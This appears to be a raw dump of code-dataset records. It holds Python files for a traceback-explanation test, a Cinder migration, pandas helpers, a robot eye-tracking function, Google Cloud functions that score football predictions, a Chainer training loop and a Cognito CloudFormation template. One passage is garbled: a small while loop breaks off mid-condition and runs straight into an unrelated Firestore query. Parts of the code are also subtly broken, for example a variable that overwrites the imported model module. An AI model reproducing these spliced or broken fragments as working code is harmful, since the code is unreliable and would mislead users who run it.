result = friendly_traceback.get_output()\n assert \"LookupError\" in result\n if friendly_traceback.get_lang() == 'en':\n assert \"LookupError is the base class for\" in result\n return result\n\n\nif __name__ == \"__main__\":\n print(test_lookup_error())\n","sub_path":"tests/except/test_lookup_error.py","file_name":"test_lookup_error.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"409238855","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport uuid\n\nfrom oslo_utils import timeutils\nimport six\nfrom sqlalchemy import MetaData, Table\n\nfrom cinder.volume import volume_types\n\n\ndef upgrade(migrate_engine):\n \"\"\"Create default volume type\"\"\"\n\n meta = MetaData(bind=migrate_engine)\n now = timeutils.utcnow()\n\n # create a default volume type during cinder DB migration\n vtypes = Table(\"volume_types\", meta, autoload=True)\n results = list(vtypes.select().where(\n vtypes.c.name == volume_types.DEFAULT_VOLUME_TYPE and\n vtypes.c.deleted is False).execute())\n if not results:\n vtype_id = six.text_type(uuid.uuid4())\n volume_type_dict = {\n 'id': vtype_id,\n 'name': volume_types.DEFAULT_VOLUME_TYPE,\n 'description': 'Default Volume Type',\n 'created_at': now,\n 'updated_at': now,\n 'deleted': False,\n 'is_public': True,\n }\n vtype = vtypes.insert()\n vtype.execute(volume_type_dict)\n","sub_path":"cinder/db/sqlalchemy/migrate_repo/versions/132_create_default_volume_type.py","file_name":"132_create_default_volume_type.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"447095838","text":"import pathlib\nthis_path = pathlib.Path().absolute()\ndata_path = this_path.parent / \"data\"\n\nimport pandas as pd\n\ndef get_dataframes():\n '''\n function to retrieve the data for this project as dataframes\n \n --returns:\n a tuple containing pandas dataframes in the format (x_train, x_test, y_train)\n '''\n x_train_filename = 'Pump_it_Up_Data_Mining_the_Water_Table_-_Training_set_values.csv'\n x_test_filename = 'Pump_it_Up_Data_Mining_the_Water_Table_-_Test_set_values.csv'\n y_train_filename = 'Pump_it_Up_Data_Mining_the_Water_Table_-_Training_set_labels.csv'\n \n x_train = __open_local_csv(x_train_filename)\n x_test = __open_local_csv(x_test_filename)\n y_train = __open_local_csv(y_train_filename)\n \n return (x_train, x_test, y_train)\n\ndef __open_local_csv(filename):\n '''\n checks that the csv filepath exists for given filename and returns a dataframe containing its\n values if it does exist\n \n --parameters:\n \n filename: should be a string containing the name of the csv to be opened\n \n --returns:\n \n pandas DataFrame object if csv_path exists, else prints error msg and returns None\n '''\n \n csv_path = data_path / filename\n if csv_path.exists():\n return pd.read_csv(csv_path, index_col = 'id')\n else:\n print(f'the specified filepath does not exist: {csv_path}')\n return None\n \n \ndef get_strict_features():\n '''\n returns list of features used for strict dataset\n '''\n strict_features = ['amount_tsh', 'gps_height', 'installer', 'basin', 'region',\n 'lga', 'population', 'construction_year', 'extraction_type_group', 'payment_type',\n 'quality_group', 'quantity', 'source_type', 'waterpoint_type']\n return strict_features\n\ndef get_loose_features():\n '''\n returns list of features used for loose dataset\n '''\n loose_features = ['amount_tsh', 'gps_height', 'installer', 'basin', 'region', 'lga', 'ward', 'population',\n 'public_meeting', 'scheme_management', 'permit', 'construction_year', 'extraction_type_group',\n 'payment_type', 'water_quality', 'quantity', 'source', 'waterpoint_type']\n return loose_features\n\ndef get_numeric_features(f_names):\n '''\n returns list of numeric features within given feature set\n '''\n numeric = ['amount_tsh', 'population', 'construction_year', 'gps_height']\n num_features = [x for x in f_names if x in numeric]\n return num_features\n\ndef get_categorical_features(f_names):\n '''\n returns list of categorical features within given feature set\n '''\n categorical = ['installer', 'basin', 'region', 'lga', 'ward',\n 'public_meeting', 'scheme_management', 'permit','extraction_type_group',\n 'payment_type', 'water_quality', 'quantity', 'source',\n 'waterpoint_type', 'source_type', 'quality_group']\n cat_features = [x for x in f_names if x in categorical]\n return cat_features","sub_path":"src/data_functions.py","file_name":"data_functions.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"368013567","text":"import numpy as np\n@nrp.MapSpikeSink(\"motors_down_stage_one\", nrp.brain.down_stage_one, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_left_stage_one\", nrp.brain.left_stage_one, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_up_stage_one\", nrp.brain.up_stage_one, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_right_stage_one\", nrp.brain.right_stage_one, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_down_stage_two\", nrp.brain.down_stage_two, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_left_stage_two\", nrp.brain.left_stage_two, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_up_stage_two\", nrp.brain.up_stage_two, nrp.leaky_integrator_alpha)\n@nrp.MapSpikeSink(\"motors_right_stage_two\", nrp.brain.right_stage_two, nrp.leaky_integrator_alpha)\n@nrp.MapRobotPublisher('eye_tilt_pos', Topic('/robot/eye_tilt/pos', std_msgs.msg.Float64))\n@nrp.MapRobotPublisher('eye_pan_pos', Topic('/robot/left_eye_pan/pos', std_msgs.msg.Float64))\n@nrp.MapRobotPublisher('eye_tilt_vel', Topic('/robot/eye_tilt/vel', std_msgs.msg.Float64))\n@nrp.MapRobotPublisher('eye_pan_vel', Topic('/robot/left_eye_pan/vel', std_msgs.msg.Float64))\n@nrp.MapRobotSubscriber(\"joint_state_sub\", Topic(\"/robot/joints\", sensor_msgs.msg.JointState))\n@nrp.MapRobotSubscriber(\"shuffle_status_sub\", Topic(\"/group_3/shuffling\", std_msgs.msg.Bool))\n@nrp.Neuron2Robot()\ndef center_on_green(t, motors_down_stage_one, motors_left_stage_one, motors_up_stage_one, motors_right_stage_one, \n motors_down_stage_two, motors_left_stage_two, motors_up_stage_two, motors_right_stage_two,\n eye_tilt_pos, eye_pan_pos, eye_tilt_vel, eye_pan_vel, joint_state_sub, shuffle_status_sub):\n\n stage_two = shuffle_status_sub.value.data if shuffle_status_sub.value is not None else False\n\n if not stage_two:\n # Stage one: Velocity-controlled motion to green ball\n scaling_factor = 3\n tilt = scaling_factor * (motors_up_stage_one.voltage - motors_down_stage_one.voltage)\n pan = scaling_factor * ( motors_left_stage_one.voltage - motors_right_stage_one.voltage)\n eye_tilt_vel.send_message(std_msgs.msg.Float64(tilt))\n eye_pan_vel.send_message(std_msgs.msg.Float64(pan))\n\n else:\n # Stage two: Position-controlled motion to red cup\n scaling_factor = 0.03\n joint_names = joint_state_sub.value.name\n joint_positions = joint_state_sub.value.position\n current_tilt = joint_positions[joint_names.index(\"eye_tilt\")]\n current_pan = joint_positions[joint_names.index(\"left_eye_pan\")]\n\n tilt = current_tilt + scaling_factor * (motors_up_stage_two.voltage - motors_down_stage_two.voltage)\n pan = current_pan + scaling_factor * ( motors_left_stage_two.voltage - motors_right_stage_two.voltage)\n\n eye_tilt_pos.send_message(std_msgs.msg.Float64(tilt))\n eye_pan_pos.send_message(std_msgs.msg.Float64(pan))\n","sub_path":"follow_object.py","file_name":"follow_object.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"576986963","text":"a=15\narr = []\ni=2\nwhile(i=', datetime.datetime(int(year), int(month), int(day)))\n\n docs = ref.stream()\n\n cache = {}\n count = 0\n\n for doc in docs:\n count = count + 1\n data = doc.to_dict()\n\n fixtureID = data['fixture']\n print(\"ID:\", fixtureID)\n\n if fixtureID in cache:\n winner = cache[fixtureID]\n else:\n winner = get_winner_from_fixture(fixtureID)\n cache[fixtureID] = winner\n\n print(\"query count:\", count, \"cache size:\", len(cache))\n\n if winner is not None:\n hit = winner == data['tipValue']\n\n doc_ref = db.collection(u'eventTips').document(doc.id)\n\n doc_ref.set({\n 'isHit': hit\n }, merge=True)\n\n retval = 'date:{0}-{1}-{2}, query count:{3}, cache size:{4}'.format(year, month, day, count, len(cache))\n return retval\n\n\ndef DB_name_to_CSV_name(name):\n \"\"\"\n string in expression is from DB\n string in return is from csv files\n \"\"\"\n\n if name == 'Wolves':\n return 'Wolverhampton Wanderers'\n if name == 'Atletico Madrid':\n return 'Atlético Madrid'\n if name == 'Athletic Club':\n return 'Athletic Bilbao'\n if name == 'Deportivo La Coruna':\n return 'Deportivo La Coruña'\n if name == 'Malaga':\n return 'Málaga CF'\n if name == 'Alaves':\n return 'CD Alavés'\n if name == 'Leganes':\n return 'CD Leganés'\n if name == 'Sporting Gijon':\n return 'Sporting Gijón'\n if name == 'Sheffield Utd':\n return 'Sheffield United'\n if name == 'QPR':\n return 'Queens Park Rangers'\n if name == 'Almeria':\n return 'UD Almería'\n if name == 'Cordoba':\n return 'Córdoba CF'\n if name == 'Cadiz':\n return 'Cádiz CF'\n return name\n\n\n# to deploy function from console: 'gcloud functions deploy storage'\ndef storage(request):\n request_args = request.args\n\n if request_args and 'id' in request_args:\n fixtureID = request_args['id']\n\n db = google.cloud.firestore.Client()\n\n doc_ref = db.collection(u'fixtures').document(fixtureID)\n doc = doc_ref.get()\n data = doc.to_dict()\n if data is None:\n return \"fixture id not found\"\n else:\n print('fixture %s found' % doc.id)\n\n home = data['teams']['home']['name']\n away = data['teams']['away']['name']\n league = 'PL' if data['league']['id'] == 39 else 'PD'\n season = data['league']['season']\n season_round = int(data['league']['round'].split(\"-\")[1])\n print(\"season_round:\", season_round)\n\n full_league = 'Premier League' if league == 'PL' else 'Primera División'\n file_name = '%s %d-%d - %d.csv' % (full_league, season, season + 1, int(season_round) - 1)\n print(\"file_name:\", file_name)\n if season_round != 1 and season_round != 0:\n client = google.cloud.storage.Client()\n bucket = client.get_bucket('better-gsts.appspot.com')\n blob = bucket.get_blob(file_name)\n file_text = blob.download_as_text()\n # print(file_text)\n lines = file_text.split(\"\\r\\n\")\n # print(\"lines:\", lines)\n for line in lines:\n if line.__contains__(DB_name_to_CSV_name(home)):\n # print(\"line: \", line)\n line_values = line.split(',')\n HR = line_values[0]\n HW = line_values[3]\n HD = line_values[4]\n HL = line_values[5]\n HGF = line_values[6].split(':')[0]\n HGA = line_values[6].split(':')[1]\n HS = line_values[8]\n if line.__contains__(DB_name_to_CSV_name(away)):\n # print(\"line: \", line)\n line_values = line.split(',')\n AR = line_values[0]\n AW = line_values[3]\n AD = line_values[4]\n AL = line_values[5]\n AGF = line_values[6].split(':')[0]\n AGA = line_values[6].split(':')[1]\n AS = line_values[8]\n\n else:\n HR = HW = HL = HD = HGF = HGA = HS = AR = AW = AL = AD = AGF = AGA = AS = '0'\n\n vector = '%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (\n HR, HW, HL, HD, HGF, HGA, HS, AR, AW, AL, AD, AGF, AGA, AS)\n\n vector_np = np.array([np.fromstring(vector, dtype=int, sep=',')])\n print(\"vector_np:\", vector_np)\n\n loaded_model = pickle.load(bucket.get_blob(\"model.sav\").open(mode='rb'))\n result = loaded_model.predict_proba(vector_np)[0]\n print(\"model result:\", result)\n\n doc_ref.set({\n 'vector': vector,\n 'prediction': result.tolist()\n }, merge=True)\n\n return str(result)\n else:\n return \"Error: bad args\"\n\n\ndef hello_http(request):\n \"\"\"HTTP Cloud Function.\n Args:\n request (flask.Request): The request object.\n \n Returns:\n The response text, or any set of values that can be turned into a\n Response object using `make_response`\n .\n \"\"\"\n request_json = request.get_json(silent=True)\n request_args = request.args\n\n if request_json and 'name' in request_json:\n name = request_json['name']\n elif request_args and 'name' in request_args:\n name = request_args['name']\n else:\n name = 'World'\n return 'Hello {}!'.format(escape(name))\n","sub_path":"cloud_scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"199209788","text":"import argparse\nimport configparser\nimport os\nimport shutil\nimport numpy as np\n\nimport dataset\nimport evaluate\nimport word2vec\n\nnp.set_printoptions(precision=3)\nos.environ['CHAINER_TYPE_CHECK'] = '0'\nimport chainer\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('config_file')\n parser.add_argument('--batch', '-b', type=int, default=30)\n parser.add_argument('--epoch', '-e', type=int, default=10)\n parser.add_argument('--pretrain_epoch', '-pe', type=int, default=10)\n parser.add_argument('--gpu', '-g', type=int, default=-1)\n parser.add_argument('--model', '-m', choices=['multi', 'label', 'encdec', 'pretrain'], default='multi')\n parser.add_argument('--pretrain_w2v', '-p', action='store_true')\n parser.add_argument('--data_path', '-d', choices=['local', 'server', 'test'], default='server')\n parser.add_argument('--load_model', '-l', type=str)\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n config = configparser.ConfigParser()\n \"\"\"ARGS DETAIL\"\"\"\n config_file = args.config_file\n batch_size = args.batch\n n_epoch = args.epoch\n pretrain_epoch = args.pretrain_epoch\n gpu_id = args.gpu\n model_type = args.model\n pretrain_w2v = args.pretrain_w2v\n data_path = args.data_path\n load_model = args.load_model\n\n \"\"\"DIR PREPARE\"\"\"\n config.read(config_file)\n vocab_size = int(config['Parameter']['vocab_size'])\n coefficient = float(config['Parameter']['coefficient'])\n shuffle_data = bool(config['Parameter']['shuffle'])\n\n if pretrain_w2v:\n vocab_size = 'p' + str(vocab_size)\n\n if model_type == 'multi':\n if shuffle_data:\n base_dir = './pseudo_{}_{}_{}_c{}_shuffle/'.format(model_type, vocab_size, data_path[0], coefficient)\n else:\n base_dir = './pseudo_{}_{}_{}_c{}/'.format(model_type, vocab_size, data_path[0], coefficient)\n else:\n if shuffle_data:\n base_dir = './pseudo_{}_{}_{}_shuffle/'.format(model_type, vocab_size, data_path[0])\n else:\n base_dir = './pseudo_{}_{}_{}/'.format(model_type, vocab_size, data_path[0])\n model_save_dir = base_dir\n\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n shutil.copyfile(config_file, base_dir + config_file)\n config_file = base_dir + config_file\n config.read(config_file)\n\n \"\"\"PARAMATER\"\"\"\n embed_size = int(config['Parameter']['embed_size'])\n hidden_size = int(config['Parameter']['hidden_size'])\n class_size = int(config['Parameter']['class_size'])\n dropout_ratio = float(config['Parameter']['dropout'])\n weight_decay = float(config['Parameter']['weight_decay'])\n gradclip = float(config['Parameter']['gradclip'])\n vocab_size = int(config['Parameter']['vocab_size'])\n valid_num = int(config['Parameter']['valid_num'])\n shuffle_data = bool(config['Parameter']['shuffle'])\n \"\"\"LOGGER\"\"\"\n log_file = model_save_dir + 'log.txt'\n logger = dataset.prepare_logger(log_file)\n logger.info(args) # 引数を記録\n logger.info('[Training start] logging to {}'.format(log_file))\n\n \"\"\"DATASET\"\"\"\n train_src_file = config[data_path]['train_src_file']\n train_trg_file = config[data_path]['train_trg_file']\n valid_src_file = config[data_path]['valid_src_file']\n valid_trg_file = config[data_path]['valid_trg_file']\n test_src_file = config[data_path]['single_src_file']\n test_trg_file = config[data_path]['single_trg_file']\n src_w2v_file = config[data_path]['src_w2v_file']\n trg_w2v_file = config[data_path]['trg_w2v_file']\n\n train_data = dataset.load_label_corpus_file(train_src_file, train_trg_file)\n qa_data_sub_lit = dataset.split_valid_data(train_data, valid_num)\n valid_data = dataset.load_label_corpus_file(valid_src_file, valid_trg_file)\n test_data = dataset.load_label_corpus_file(test_src_file, test_trg_file)\n test_data_sub_lit = dataset.split_valid_data(test_data, valid_num)\n\n \"\"\"VOCABULARY\"\"\"\n src_vocab, trg_vocab, sos, eos = dataset.prepare_vocab(base_dir, train_data, vocab_size, gpu_id)\n src_vocab_size = len(src_vocab.vocab)\n trg_vocab_size = len(trg_vocab.vocab)\n\n src_initialW, trg_initialW = None, None\n if pretrain_w2v:\n w2v = word2vec.Word2Vec()\n src_initialW, vector_size, src_match_word_count = w2v.make_initialW(src_vocab.vocab, src_w2v_file)\n trg_initialW, vector_size, trg_match_word_count = w2v.make_initialW(trg_vocab.vocab, trg_w2v_file)\n logger.info('Initialize w2v embedding. Match: src {}/{}, trg {}/{}'.format(src_match_word_count, src_vocab_size, trg_match_word_count, trg_vocab_size))\n\n logger.info('src_vocab size: {}, trg_vocab size: {}'.format(src_vocab_size, trg_vocab_size))\n\n evaluater = evaluate.Evaluate()\n\n \"\"\"GPU\"\"\"\n if gpu_id >= 0:\n logger.info('Use GPU')\n chainer.cuda.get_device_from_id(gpu_id).use()\n\n cross_valid_result = []\n for ite in range(1, valid_num + 1):\n model_valid_dir = base_dir + 'valid{}/'.format(ite)\n if not os.path.exists(model_valid_dir):\n os.mkdir(model_valid_dir)\n\n qa_train_data, qa_dev_data, qa_test_data = dataset.separate_train_dev_test(qa_data_sub_lit, ite)\n train_data, dev_data, test_data = dataset.separate_train_dev_test(test_data_sub_lit, ite)\n test_data_id = [t['id'] for t in test_data]\n\n qa_iter = dataset.Iterator(qa_train_data, src_vocab, trg_vocab, batch_size, gpu_id, sort=True, shuffle=True)\n valid_iter = dataset.Iterator(valid_data, src_vocab, trg_vocab, batch_size, gpu_id, sort=False, shuffle=False)\n train_iter = dataset.Iterator(train_data, src_vocab, trg_vocab, batch_size, gpu_id, sort=True, shuffle=True)\n dev_iter = dataset.Iterator(dev_data, src_vocab, trg_vocab, batch_size, gpu_id, sort=False, shuffle=False)\n test_iter = dataset.Iterator(test_data, src_vocab, trg_vocab, batch_size, gpu_id, sort=False, shuffle=False)\n\n qa_size = len(qa_train_data)\n train_size = len(train_data)\n logger.info('V{} ## QA:{}, train:{}, dev:{} ,test:{}'.format(ite, qa_size, train_size, len(dev_data), len(test_data)))\n\n \"\"\"MODEL\"\"\"\n if model_type == 'multi':\n model = model.Multi(src_vocab_size, trg_vocab_size, embed_size, hidden_size, class_size, dropout_ratio, coefficient, src_initialW, trg_initialW)\n elif model_type in ['label', 'pretrain']:\n model = model.Label(src_vocab_size, trg_vocab_size, embed_size, hidden_size, class_size, dropout_ratio, src_initialW, trg_initialW)\n else:\n model = model.EncoderDecoder(src_vocab_size, trg_vocab_size, embed_size, hidden_size, dropout_ratio, src_initialW, trg_initialW)\n\n if gpu_id >= 0:\n model.to_gpu()\n\n \"\"\"OPTIMIZER\"\"\"\n optimizer = chainer.optimizers.Adam()\n optimizer.setup(model)\n optimizer.add_hook(chainer.optimizer.GradientClipping(gradclip))\n optimizer.add_hook(chainer.optimizer.WeightDecay(weight_decay))\n\n \"\"\"PRETRAIN\"\"\"\n if model_type == 'pretrain' and load_model is None:\n logger.info('Pre-train start')\n pretrain_loss_dic = {}\n for epoch in range(1, pretrain_epoch + 1):\n train_loss = 0\n for i, batch in enumerate(train_iter.generate(), start=1):\n try:\n loss = model.pretrain(*batch)\n train_loss += loss.data\n optimizer.target.cleargrads()\n loss.backward()\n optimizer.update()\n\n except Exception as e:\n logger.info('P{} ## train iter: {}, {}'.format(epoch, i, e))\n chainer.serializers.save_npz(model_save_dir + 'p_model_epoch_{}.npz'.format(epoch), model)\n\n \"\"\"EVALUATE\"\"\"\n valid_loss = 0\n for batch in valid_iter.generate():\n with chainer.no_backprop_mode(), chainer.using_config('train', False):\n valid_loss += model.pretrain(*batch).data\n logger.info('P{} ## train loss: {}, val loss:{}'.format(epoch, train_loss, valid_loss))\n pretrain_loss_dic[epoch] = valid_loss\n\n \"\"\"MODEL SAVE & LOAD\"\"\"\n best_epoch = min(pretrain_loss_dic, key=(lambda x: pretrain_loss_dic[x]))\n logger.info('best_epoch:{}, val loss: {}'.format(best_epoch, pretrain_loss_dic[best_epoch]))\n shutil.copyfile(model_save_dir + 'p_model_epoch_{}.npz'.format(best_epoch),\n model_save_dir + 'p_best_model.npz')\n logger.info('Pre-train finish')\n\n if load_model:\n logger.info('load model: {}'.format(load_model))\n chainer.serializers.load_npz(base_dir + load_model, model)\n\n \"\"\"TRAIN\"\"\"\n epoch_info = {}\n for epoch in range(1, n_epoch + 1):\n train_loss = 0\n mix_train_iter = dataset.MixIterator(qa_iter, train_iter, seed=0, shuffle=shuffle_data)\n for i, batch in enumerate(mix_train_iter.generate(), start=1):\n try:\n loss = optimizer.target(*batch[0])\n train_loss += loss.data\n optimizer.target.cleargrads()\n loss.backward()\n optimizer.update()\n\n except Exception as e:\n logger.info('V{} ## E{} ## train iter: {}, {}'.format(ite, epoch, i, e))\n chainer.serializers.save_npz(model_valid_dir + 'model_epoch_{}.npz'.format(epoch), model)\n\n \"\"\"DEV\"\"\"\n labels, alignments = [], []\n for i, batch in enumerate(dev_iter.generate(), start=1):\n try:\n with chainer.no_backprop_mode(), chainer.using_config('train', False):\n _, label, align = model.predict(batch[0], sos, eos)\n except Exception as e:\n logger.info('V{} ## E{} ## dev iter: {}, {}'.format(ite, epoch, i, e))\n\n if model_type == 'multi':\n for l, a in zip(label, align):\n labels.append(chainer.cuda.to_cpu(l))\n alignments.append(chainer.cuda.to_cpu(a))\n elif model_type in ['label', 'pretrain']:\n for l in label:\n labels.append(chainer.cuda.to_cpu(l))\n else:\n for a in align:\n alignments.append(chainer.cuda.to_cpu(a))\n\n best_param_dic = evaluater.param_search(labels, alignments, dev_data)\n param = max(best_param_dic, key=lambda x: best_param_dic[x]['macro'])\n init, mix = evaluate.key_to_param(param)\n dev_score = round(best_param_dic[param]['macro'], 3)\n\n \"\"\"TEST\"\"\"\n outputs, labels, alignments = [], [], []\n for i, batch in enumerate(test_iter.generate(), start=1):\n try:\n with chainer.no_backprop_mode(), chainer.using_config('train', False):\n output, label, align = model.predict(batch[0], sos, eos)\n except Exception as e:\n logger.info('V{} ## E{} ## test iter: {}, {}'.format(ite, epoch, i, e))\n\n if model_type == 'multi':\n for l, a in zip(label, align):\n labels.append(chainer.cuda.to_cpu(l))\n alignments.append(chainer.cuda.to_cpu(a))\n elif model_type in ['label', 'pretrain']:\n for l in label:\n labels.append(chainer.cuda.to_cpu(l))\n else:\n for a in align:\n alignments.append(chainer.cuda.to_cpu(a))\n\n rate, count, tf_lit, macro, micro = evaluater.eval_param(labels, alignments, test_data, init, mix)\n test_macro_score = round(macro, 3)\n test_micro_score = round(micro, 3)\n logger.info('V{} ## E{} ## loss: {}, dev: {}, param: {}, micro: {}, macro: {}'.format(ite, epoch, train_loss, dev_score, param, test_micro_score, test_macro_score))\n\n epoch_info[epoch] = {\n 'id': test_data_id,\n 'label': labels,\n 'align': alignments,\n 'hypo': outputs,\n 'epoch': epoch,\n 'dev_score': dev_score,\n 'param': param,\n 'rate': rate,\n 'count': count,\n 'tf': tf_lit,\n 'macro': test_macro_score,\n 'micro': test_micro_score\n }\n dataset.save_output(model_valid_dir, epoch_info[epoch])\n\n \"\"\"MODEL SAVE\"\"\"\n best_epoch = max(epoch_info, key=(lambda x: epoch_info[x]['dev_score']))\n cross_valid_result.append(epoch_info[best_epoch])\n logger.info('V{} ## best_epoch: {}, dev: {}, micro: {}, macro: {}'.format(ite, best_epoch, epoch_info[best_epoch]['dev_score'], epoch_info[best_epoch]['micro'], epoch_info[best_epoch]['macro']))\n shutil.copyfile(model_valid_dir + 'model_epoch_{}.npz'.format(best_epoch), model_valid_dir + 'best_model.npz')\n\n logger.info('')\n\n ave_dev_score, ave_macro_score, ave_micro_score = 0, 0, 0\n ave_test_score = [0 for _ in range(len(cross_valid_result[0]['rate']))]\n id_total, label_total, align_total, tf_total = [], [], [], []\n\n for v, r in enumerate(cross_valid_result, start=1):\n ave_dev_score += r['dev_score']\n ave_macro_score += r['macro']\n ave_micro_score += r['micro']\n for i, rate in enumerate(r['rate']):\n ave_test_score[i] += rate\n logger.info(' {}: e{}, {}\\tdev: {}, micro: {}, macro: {} {}'.format(v, r['epoch'], r['param'], r['dev_score'], r['micro'], dataset.float_to_str(r['rate']), r['macro']))\n\n id_total.extend(r['id'])\n label_total.extend(r['label'])\n align_total.extend(r['align'])\n tf_total.extend(r['tf'])\n ave_dev_score = round(ave_dev_score / valid_num, 3)\n ave_macro_score = round(ave_macro_score / valid_num, 3)\n ave_micro_score = round(ave_micro_score / valid_num, 3)\n ave_test_score = [ave_test_score[i] / valid_num for i in range(len(ave_test_score))]\n logger.info('dev: {}, micro: {}, macro: {} {}'.format(ave_dev_score, ave_micro_score, dataset.float_to_str(ave_test_score), ave_macro_score))\n\n label, align, tf = dataset.sort_multi_list(id_total, label_total, align_total, tf_total)\n dataset.save_list(base_dir + 'label.txt', label)\n dataset.save_list(base_dir + 'align.txt', align)\n dataset.save_list(base_dir + 'tf.txt', tf)\n\n\nif __name__ == '__main__':\n main()","sub_path":"train_pseudo.py","file_name":"train_pseudo.py","file_ext":"py","file_size_in_byte":14746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"460046837","text":"import sys\nfrom troposphere import GetAtt, Join, Output, Parameter, Ref, Template\nfrom troposphere.cognito import UserPool, SchemaAttribute, Policies, PasswordPolicy, AdminCreateUserConfig, \\\n UserPoolClient, IdentityPool, CognitoIdentityProvider, IdentityPoolRoleAttachment\nfrom troposphere.iam import Role, Policy\n\nenv = sys.argv[1]\n\nCOMPONENT_NAME = \"YaegarBooksCognito\"\n\nt = Template(COMPONENT_NAME)\n\nt.add_version(\"2010-09-09\")\n\nt.add_description(COMPONENT_NAME + \" stacks for env \" + env)\n\nuserPoolUsers = t.add_resource(\n UserPool(\n \"UserPool\" + COMPONENT_NAME + \"Users\",\n UserPoolName=\"UserPool\" + COMPONENT_NAME + \"Users\",\n AliasAttributes=[\"email\"],\n Schema=[SchemaAttribute(\n Name=\"email\",\n AttributeDataType=\"String\",\n Required=\"True\",\n Mutable=\"True\"\n )],\n Policies=Policies(\n PasswordPolicy=PasswordPolicy(\n MinimumLength=6,\n RequireLowercase=\"True\",\n RequireUppercase=\"True\",\n RequireNumbers=\"True\"\n )\n ),\n AdminCreateUserConfig=AdminCreateUserConfig(\n AllowAdminCreateUserOnly=\"False\",\n UnusedAccountValidityDays=7\n ),\n AutoVerifiedAttributes=[\"email\"],\n EmailVerificationMessage='''Welcome to YaegarBooks,\nThanks for registering for a YaegarBooks account, please click the link to verify your email address. {####}\n\nWelcome\nYaegarBooks''',\n EmailVerificationSubject=\"Your verification link\"\n )\n)\n\nuserPoolClientUsers = t.add_resource(\n UserPoolClient(\n \"UserPoolClient\" + COMPONENT_NAME + \"Users\",\n ClientName=\"UserPoolClient\" + COMPONENT_NAME + \"Users\",\n UserPoolId=Ref(userPoolUsers),\n GenerateSecret=\"False\"\n )\n)\n\nidentityPoolUsers = t.add_resource(\n IdentityPool(\n \"IdentityPool\" + COMPONENT_NAME + \"Users\",\n IdentityPoolName=\"IdentityPool\" + COMPONENT_NAME + \"Users\",\n AllowUnauthenticatedIdentities=False,\n CognitoIdentityProviders=[\n CognitoIdentityProvider(\n ClientId=Ref(userPoolClientUsers),\n ProviderName=GetAtt(userPoolUsers, \"ProviderName\")\n )\n ]\n )\n)\n\ncognitoUnAuthorizedRole = t.add_resource(\n Role(\n \"CognitoUnAuthorizedRole\",\n RoleName=\"Cognito_YaegarBooksUnauth_Role\",\n AssumeRolePolicyDocument={\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Federated\": [\"cognito-identity.amazonaws.com\"]\n },\n \"Action\": [\"sts:AssumeRoleWithWebIdentity\"],\n \"Condition\": {\n \"StringEquals\": {\n \"cognito-identity.amazonaws.com:aud\": Ref(identityPoolUsers)\n },\n \"ForAnyValue:StringLike\": {\n \"cognito-identity.amazonaws.com:amr\": \"unauthenticated\"\n }\n }\n }]\n },\n Policies=[\n Policy(\n PolicyName=\"cognitounauth\",\n PolicyDocument={\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Effect\": \"Allow\",\n \"Action\": [\n \"mobileanalytics:PutEvents\",\n \"cognito-sync:*\"\n ],\n \"Resource\": [\"*\"]\n }]\n }\n )]\n )\n)\n\ncognitoAuthorizedRole = t.add_resource(\n Role(\n \"CognitoAuthorizedRole\",\n RoleName=\"Cognito_YaegarBooksAuth_Role\",\n AssumeRolePolicyDocument={\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Federated\": [\"cognito-identity.amazonaws.com\"]\n },\n \"Action\": [\"sts:AssumeRoleWithWebIdentity\"],\n \"Condition\": {\n \"StringEquals\": {\n \"cognito-identity.amazonaws.com:aud\": Ref(identityPoolUsers)\n },\n \"ForAnyValue:StringLike\": {\n \"cognito-identity.amazonaws.com:amr\": \"authenticated\"\n }\n }\n }]\n },\n Policies=[\n Policy(\n PolicyName=\"cognitoauth\",\n PolicyDocument={\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Effect\": \"Allow\",\n \"Action\": [\n \"mobileanalytics:PutEvents\",\n \"cognito-sync:*\",\n \"cognito-identity:*\"\n ],\n \"Resource\": [\"*\"]\n }]\n }\n )]\n )\n)\n\nidentityPoolRoleAttachment = t.add_resource(\n IdentityPoolRoleAttachment(\n \"IdentityPoolRoleAttachment\",\n IdentityPoolId=Ref(identityPoolUsers),\n Roles={\n \"authenticated\": GetAtt(cognitoAuthorizedRole, \"Arn\"),\n \"unauthenticated\": GetAtt(cognitoUnAuthorizedRole, \"Arn\")\n }\n )\n\n)\nt.add_output([\n Output(\n \"UserPoolArn\",\n 